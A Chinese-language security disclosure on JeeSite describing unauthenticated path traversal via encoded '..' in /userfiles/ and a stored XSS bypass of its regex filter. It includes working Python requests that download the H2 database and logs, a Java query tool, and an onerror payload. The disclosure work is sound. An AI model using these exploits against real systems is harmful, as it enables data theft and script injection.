JeeSite 漏洞报告

软件名称:JeeSite

开发者或厂商:ThinkGem

代码仓库:https://gitee.com/thinkgem/jeesite

1. /userfiles/ 未授权任意文件读取

简要描述:攻击者无需账号,即可下载服务器上 userfiles 目录之外的文件,包括 H2 数据库文件与日志。
影响版本:v5.8.1 ~ v5.19.1
前置条件:目标实例曾经上传过至少一个附件,从而 userfiles 目录存在。

漏洞成因

UserfilesController 处理 /userfiles/** 的请求时,从 request.getRequestURI() 中截取 /userfiles/ 之后的部分作为相对路径,交给 Global.getUserfilesBaseDir 拼接出文件的实际路径,最后用 new File(EncodeUtils.decodeUrl(filePath)) 构造文件对象,相关代码如下:

// modules/core/src/main/java/com/jeesite/modules/file/web/UserfilesController.java:36-74    commit 5b5e2cf0ad
@RequestMapping(value="/userfiles/**")
public String fileStreamDown(HttpServletRequest request, HttpServletResponse response)
		throws ServletException, IOException {
	String fileUri = request.getRequestURI();
	String filePath = StringUtils.substringAfter(fileUri, Global.USERFILES_BASE_URL);
	...
	filePath = Global.getUserfilesBaseDir(filePath);
	File file = new File(EncodeUtils.decodeUrl(filePath));

Global.getUserfilesBaseDir 只做字符串拼接和 FileUtils.path 规范化,既不检查结果是否仍位于 userfiles 目录之内,也不拒绝路径中的 ..,相关代码如下:

// com/jeesite/common/config/Global.java,取自 5.19.1 发行包中的 jeesite-framework-5.19.1.springboot4-SNAPSHOT.jar
public static String getUserfilesBaseDir(String string) {
	String path = getProperty("file.baseDir");
	...
	if (!StringUtils.startsWith(object, USERFILES_BASE_URL)) {
		object = USERFILES_BASE_URL + object;
	}
	return FileUtils.path(path + object);
}

FileUtils.path 只是把路径中的空段去掉再拼回去,.. 段会被保留,因此拼接结果可以是 userfiles 目录的上一级。EncodeUtils.decodeUrl 对 filePath 再做一次 URLDecoder.decode,于是 URI 中以百分号编码形式出现的 %2e%2e 在这里还原成 ..。Tomcat 只对未编码的 .. 做路径规范化并返回 400,编码形式则会原样传给 Servlet,所以该请求能够进入上述方法。

file.baseDir 在官方生产配置中为 /data(web-fast/src/main/resources/config/application-prod.yml:41),H2 数据库与日志分别位于 /data/jeesite-db/ 和 /data/logs/,都在 userfiles 目录的同级,一次 .. 即可到达。

复现环境搭建

使用官方 compose 文件启动,仅修改端口:

mkdir jeesite && cd jeesite
wget https://gitee.com/thinkgem/jeesite/raw/v5.19.1.springboo4/docker-compose.yml
sed -i 's/8980:8980/8978:8980/' docker-compose.yml
docker compose up -d

用 system / admin 登录后台,上传一个附件。

复现过程

匿名读取 H2 数据库、日志:

import httpx

BASE = "http://127.0.0.1:8978"

r = httpx.get(f"{BASE}/userfiles/%2e%2e/jeesite-db/jeesite5190.mv.db", timeout=120)
print("db:", r.status_code, len(r.content), r.headers.get("content-type"))
open("jeesite5190.mv.db", "wb").write(r.content)

r = httpx.get(f"{BASE}/userfiles/%2e%2e/logs/debug.log", timeout=120)
print("log:", r.status_code, len(r.content))

执行结果如下:

$ python3 traversal.py
db: 200 1794048 application/octet-stream
log: 200 1341662

用 H2 客户端打开下载到的文件,可以读取全部业务数据:

// h2q2.java
import java.sql.*;
public class h2q2 {
	public static void main(String[] a) throws Exception {
		Class.forName("org.h2.Driver");
		Connection c = DriverManager.getConnection("jdbc:h2:" + a[0], "jeesite", "jeesite");
		ResultSet r = c.createStatement().executeQuery(a[1]);
		int n = r.getMetaData().getColumnCount();
		while (r.next()) {
			StringBuilder b = new StringBuilder();
			for (int i = 1; i <= n; i++) b.append(r.getString(i)).append("\t");
			System.out.println(b);
		}
		c.close();
	}
}

执行结果如下:

$ java -cp .:h2-2.3.232.jar h2q2 ./jeesite5190 "SELECT COUNT(*) FROM js_sys_user"
25
$ java -cp .:h2-2.3.232.jar h2q2 ./jeesite5190 \
    "SELECT table_name FROM information_schema.tables WHERE table_schema='PUBLIC' ORDER BY table_name LIMIT 8"
JS_APP_COMMENT
JS_APP_UPGRADE
JS_BIZ_CATEGORY
JS_CMS_ARTICLE
JS_CMS_ARTICLE_DATA
JS_CMS_ARTICLE_POSID
JS_CMS_ARTICLE_TAG
JS_CMS_CATEGORY

除了数据库与日志,file.baseDir 下的其他目录同样可以读取。

2. CMS 文章正文存储型 XSS

简要描述:拥有文章编辑权限的攻击者可在正文中植入脚本,用户打开文章时被 XSS。
影响版本:v4.3.0 ~ v5.19.1
前置条件:攻击者拥有 cms:article:edit 权限。

漏洞成因

CmsArticleController.save 把表单提交的 articleData.content 直接交给 Service 入库,相关代码如下:

// modules/cms/src/main/java/com/jeesite/modules/cms/web/CmsArticleController.java:157-162    commit 5b5e2cf0ad
@RequiresPermissions("cms:article:edit")
@PostMapping(value = "save")
@ResponseBody
public String save(@Validated @ModelAttribute("article") CmsArticle article) {
	articleService.save(article);
	return renderResult(Global.TRUE, text("保存文章表成功!"));
}

入库前的内容处理由 XssHttpServletRequestWrapper.getParameterValues 完成,它对每个请求参数调用 EncodeUtils.xssFilter:

// com/jeesite/common/web/http/wrapper/XssHttpServletRequestWrapper.java,取自发行包 jar
public String[] getParameterValues(String string) {
	String[] stringArray = super.getParameterValues(string);
	if (stringArray != null) {
		String[] stringArray2 = new String[stringArray.length];
		for (int i = 0; i < stringArray.length; i++) {
			stringArray2[i] = EncodeUtils.xssFilter(stringArray[i], getRequest());
		}
		return stringArray2;
	}
	return null;
}

xssFilter 按预定义的正则逐条删除危险片段,正则如下:

// common/src/main/java/com/jeesite/common/codec/EncodeUtils.java:208-214    commit 5b5e2cf0ad
private static final List<Pattern> xssPatterns = ListUtils.newArrayList(
		Pattern.compile("(<\\s*(script|link|style|iframe|embed|object)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe|embed|object)\\s*>)", Pattern.CASE_INSENSITIVE),
		Pattern.compile("\\s*(href|src|data)\\s*=\\s*(\"\\s*(javascript|vbscript|data):[^\"]+\"|'\\s*(javascript|vbscript|data):[^']+'|(javascript|vbscript|data):[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE),
		Pattern.compile("\\s*/?\\s*on[a-zA-Z]+\\s*=\\s*(['\"]?)(.*?)\\1(?=\\s|>|/>)", Pattern.CASE_INSENSITIVE),
		Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", Pattern.CASE_INSENSITIVE),
		Pattern.compile("^(javascript:|vbscript:)", Pattern.CASE_INSENSITIVE)
);

第三条正则用于删除事件属性,其末尾的 (?=\\s|>|/>) 要求属性值之后紧跟空白或 >。若载荷中的事件属性后面不再出现 >,该正则便无法匹配,属性被保留下来。浏览器在解析到页面末尾时会自动闭合标签,事件属性依然生效。

正文以 <!--HTML--> 开头时,xssFilter 还会跳过对 <、>、'、" 的全角转码,相关代码如下:

// common/src/main/java/com/jeesite/common/codec/EncodeUtils.java:244-249    commit 5b5e2cf0ad
if (!StringUtils.startsWithIgnoreCase(value, "<!--HTML-->")    // HTML
		&& !StringUtils.startsWithIgnoreCase(value, "<?xml ")  // XML
		&& !(StringUtils.startsWith(value, "{") && StringUtils.endsWith(value, "}")) // JSON Object
		&& !(StringUtils.startsWith(value, "[") && StringUtils.endsWith(value, "]")) // JSON Array
){

前台渲染文章正文时,模板直接把内容输出到 HTML 中,相关代码如下:

<!-- modules/cms/src/main/resources/views/modules/cmsfront/themes/default/viewArticle.html:10-12    commit 5b5e2cf0ad -->
	<div class="article-content uparse">
		${article.articleData.content}
	</div>

Beetl 的 ${} 不对内容做 HTML 转义,因此入库的事件属性会原样进入页面。

复现环境搭建

与第 1 节相同,使用官方 compose 启动,然后登录后台。

复现过程

在后台打开需要编辑的文章,点击编辑器工具栏最右侧的“源代码”按钮,切换到源码模式后输入下面这段内容:

<!--HTML--><img src=x alt="JeeSite PoC" onerror=document.querySelector('.article-title').textContent='JeeSite_ZeroClick_XSS_Executed'

保存后,文章列表中该文章的标题正常显示:

这段内容既没有 >,也没有空白字符,第三条正则匹配不到,因此被原样保存。

浏览器打开前台文章页:

http://127.0.0.1:8978/f/view-a1000-1189377353121218560.html

页面加载完成时脚本即执行,文章标题被改写为 JeeSite_ZeroClick_XSS_Executed,全程不需要点击: